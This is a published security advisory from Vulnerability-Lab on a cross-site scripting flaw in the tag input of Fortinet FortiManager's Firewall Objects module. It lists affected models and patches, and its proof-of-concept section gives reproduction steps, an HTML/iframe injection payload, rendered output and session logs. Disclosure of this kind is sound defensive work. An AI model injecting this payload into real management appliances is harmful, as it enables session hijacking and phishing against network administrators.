Document Title: =============== FortiManager (Series) - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1684 Fortinet PSIRT ID: 1624459 Release Notes 1: http://docs.fortinet.com/uploaded/files/2910/fortimanager-v5.4.0-release-notes.pdf Release Notes 2: http://docs.fortinet.com/uploaded/files/2963/fortimanager-v5.2.6-release-notes.pdf Release Notes 3: http://docs.fortinet.com/uploaded/files/2456/fortimanager-v5.0.11-release-notes.pdf Release Date: ============= 2016-08-02 Vulnerability Laboratory ID (VL-ID): ==================================== 1684 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== FortiManager appliances allow you to centrally manage any number of Fortinet devices, from several to thousands, including FortiGate®, FortiWiFi™, FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, as well as FortiClient™ endpoint security agents. You can further simplify control and management of large deployments by grouping devices and agents into administrative domains (ADOMs). The FortiManager family of management appliances provides centralized policy-based provisioning, device configuration, and update management for FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point security agents, plus end-to-end network monitoring and device control. FortiManager delivers a lower TCO for Fortinet implementations by minimizing both initial deployment costs and ongoing operating expenses. Control administrative access and simplify policy deployment using role-based administration to define user privileges for specific management domains and functions, and aggregating collections of Fortinet appliances and agents into independent management domains. In addition, by locally hosting security content updates for managed devices and agents, FortiManager appliances minimize Web filtering rating request response time and maximize network protection. (Copy of the Vendor Homepage: http://www.avfirewalls.com/FortiManager-Series.asp ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a persistent and non-persistent web validation vulnerability in the official Fotinet FortiManager appliance product series. The issue affects the web-application of the appliance series and is present in the following fortimanager models - 200D, 300D, 1000D, 3900E, 4000E, Virtual Appliances Version and FortiMoM-VM. The Fortimanager legacy models 100, 100C, 400A, 400B, 400C, 1000C, 3000C and 4000D are affected as well by the vulnerability. Vulnerability Disclosure Timeline: ================================== 2016-01-25: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-01-26: Vendor Notification (FortiGuard Security Team) 2016-02-08: Vendor Response/Feedback (FortiGuard Security Team) 2016-05-17: Vendor Fix/Patch #1 (Fortinet Service Developer Team) 2016-07-28: Vendor Fix/Patch #2 (Fortinet Service Developer Team) 2016-08-02: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiManager - Appliance (Web-Application) 200D, 300D, 1000D, 3900E, 4000E, Virtual Appliances Versio Fortinet Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 400B, 400C, 1000C, 3000C & 4000 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent and non-persistent input validation web vulnerability has been discovered in the official Fotinet FortiManager appliance product series. The vulnerability allows privileged guest user accounts and restricted user accounts to inject own malicious script codes on the application-side or client-side of the fortimanager appliance web-application series. The vulnerability is located in the `add Tags` input field of the `Firewall Objects - Address - Tags` module. The request method to inject is POST to GET and the attack vector is located on the application-side of the appliance web-application. Remote attackers are able to inject own malicious script codes to the add tag input field. After processing to add, the code bypasses the regular web filter of the appliance web-application and executes finally in the applied tags module above of the basic input. The vulnerability can be exploited by guest appliance user accounts with restricted access. The vulnerability first executes with client-side attack vector and becomes persistent with the save procedure by return. The security risk of the application-side and client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the application-side web vulnerability requires a low privileged guest web-application user account and low user interaction. Successful exploitation of the vulnerability results in persistent phishing, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected web module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Firewall Objects - Address - Tags - [Add Tags] Vulnerable Parameter(s): [+] appliedTags - tagList (tagSelector-addTag create-new) Affected Module(s): [+] Applied Tags Affected Serie(s): FortiManager [+] FortiManager 200D [+] FortiManager 300D [+] FortiManager 1000D [+] FortiManager 3900E [+] FortiManager-4000E [+] FortiManager Virtual Appliances [+] FortiMoM-VM FortiManager Legacy Models [+] FortiManager 100 [+] FortiManager 100C [+] FortiManager 400A [+] FortiManager 400B [+] FortiManager 400C [+] FortiManager 1000C [+] FortiManager 3000C [+] FortiManager 4000D Proof of Concept (PoC): ======================= The persistent and non-persistent cross site scripting web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability as guest user with restricted access privileges ... 1. Login to the fortimanager appliance web-application as guest user 2. Open the following section that is not restricted to guests mainly (Firewall Objects > Address ) 3. Now, switch to the Tags section and click to the non-restricted button [Add Tags] 4. Add in the `Add Tags` and inject to the input field your test payload to approve the validation Note: (Payload) "><"<img src="x">%20%20>"<iframe src=a>%20<iframe> 5. The script code execution occrs in the applied tags listing. 6. Successful reproduce of the vulnerability! PoC: Firewall Objects > Address > Tags > [Add Tags] <tr><td colspan="99"><b>Tags</b></td></tr> <tr class="tr_tag"><td class="dep_opt"><label for="appliedTags">Applied tags</label></td> <td colspan="99"><span id="appliedTags" class="tag_list"><span mkey=""><" <img src="x">%20%20>"<iframe src=a>%20<iframe> "><"<img sr" class="object_tag object_tag_remove"> <span class="tag_label">"><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE EXECUTION!]> "><"<img sr</iframe></span><span class="tag_tail"></span></span></span></td></tr> <tr class="tr_tag"><td class="dep_opt"><label for="addTag">Add tags</label></td> <td colspan="99" style="vertical-align:top;padding-bottom:30px;"> <div class="yui-ac" style="width:20em;"><input class="yui-ac-input" id="addTag" name="addTag" maxlength="63" autocomplete="off" type="text"><span style="display: inline-block; position: absolute; left: 22em;" class="icon13 tagSelector-addTag create-new"></span><div class="yui-ac-container" id="tag_ac_list"><div style="display: none;" class="yui-ac-content"><div style="display: none;" class="yui-ac-hd"></div><div class="yui-ac-bd"></div><div style="display: none;" class="yui-ac-ft"></div></div></div></div> </td></tr> <input value=""><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE EXECUTION!]>%20<iframe> "><"<img sr" id="tagList" name="tagList" type="hidden"> <tr id="_clionly_opts_"><td style="text-align:left;" colspan="99"><nobr><a href="#" onclick="taggleCLIOnlyFields();"><img id="cli:twist:img" src="/resource/images/twistie_collapsed.gif">Advanced Options</a></nobr></td></tr><tr id="cli:tb:row" style="display:none"><td colspan="99"> <table id="_comp_15" name="_comp_15" class="list" align="center" cellpadding="0" cellspacing="1"> <tbody><tr class="heading"><td>Name</td><td>Description</td><td>Value</td></tr><tr> <td style="text-align:left" nowrap="">cache-ttl</td> <td style="text-align:left" nowrap="">Minimal TTL of individual IP addresses in FQDN cache.</td> <td style="text-align:left"><input id="cache-ttl" name="cache-ttl" value="0" maxlength="86400" type="text"></td> </tr> <tr tip="visibility:Enable/disable address visibility.<br>enable: Show in address4 selection.<br>disable: Hide from address4 selection.<br>"> <td style="text-align:left" nowrap="">visibility</td> <td style="text-align:left" nowrap="">Enable/disable address visibility.</td> <td style="text-align:left"><select id="visibility" name="visibility"><option value="1" selected="">enable</option><option value="0">disable</option></select></td> </tr> </tbody></table> <input name="sortDirection" value="0" type="hidden"> <input name="sortFieldName" value="" type="hidden"> </td></tr></tbody></table></td></tr> <tr id="footer_content"><td align="center"> <table class="footer" cellpadding="0" cellspacing="0"> <tbody><tr><td> <input id="_returnbtn_" class="button" value="Return" onclick=" if (window.opener) {window.close();} else {dlg_returnPage('SOMAddressObj?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3');}" type="button"></td></tr> </tbody></table> </td></tr> </tbody> --- PoC Session Logs [GET] --- Status: 200[OK] GET http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/x[PERSISTENT SCRIPT CODE EXECUTION!] Mime Type[text/html] Request Header: Host[fortimanager.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/SOMAddressObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3&vdomID=0&adomType=gms&cate=140&prodId=0&key=all&catetype=140&cate=140&permit_w=1&mapped=0&roid=138] Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/ 9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==; MCP_VIEW_MODE=sectview; csrftoken=ea5a7a467e8cabdfe640cd475183d2a5] Connection[keep-alive] Response Header: Date[Tue, 26 Jan 2016 12:04:43 GMT] Server[Apache] X-Frame-Options[SAMEORIGIN] Vary[Accept-Encoding] Content-Encoding[gzip] x-ua-compatible[IE=Edge] Content-Length[460] Connection[close] Content-Type[text/html] - Status: 200[OK] GET http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/a[PERSISTENT SCRIPT CODE EXECUTION!] Mime Type[text/html] Request Header: Host[fortimanager.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://fortimanager.localhost:8080/cgi-bin/module//sharedobjmanager/firewall/SOMAddressObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=root&adomId=3&vdomID=0&adomType=gms&cate=140&prodId=0&key=all&catetype=140&cate=140&permit_w=1&mapped=0&roid=138] Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/ 9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==; MCP_VIEW_MODE=sectview; csrftoken=ea5a7a467e8cabdfe640cd475183d2a5] Connection[keep-alive] Response Header: Date[Tue, 26 Jan 2016 12:04:43 GMT] Server[Apache] X-Frame-Options[SAMEORIGIN] Vary[Accept-Encoding] Content-Encoding[gzip] x-ua-compatible[IE=Edge] Content-Length[460] Connection[close] Content-Type[text/html] Reference(s): http://fortimanager.localhost:8080/ http://fortimanager.localhost:8080/cgi-bin/ http://fortimanager.localhost:8080/cgi-bin/module/ http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/ http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/firewall/ http://fortimanager.localhost:8080/cgi-bin/module/sharedobjmanager/firewall/SOMAddressObj Solution - Fix & Patch: ======================= 5.4.0 5.2.6 5.0.12 (TBD) 5.0.12(FMG) 5.0.13(FAZ) Security Risk: ============== The security risk of the persistent and non-persistent cross site scripting web vulnerability is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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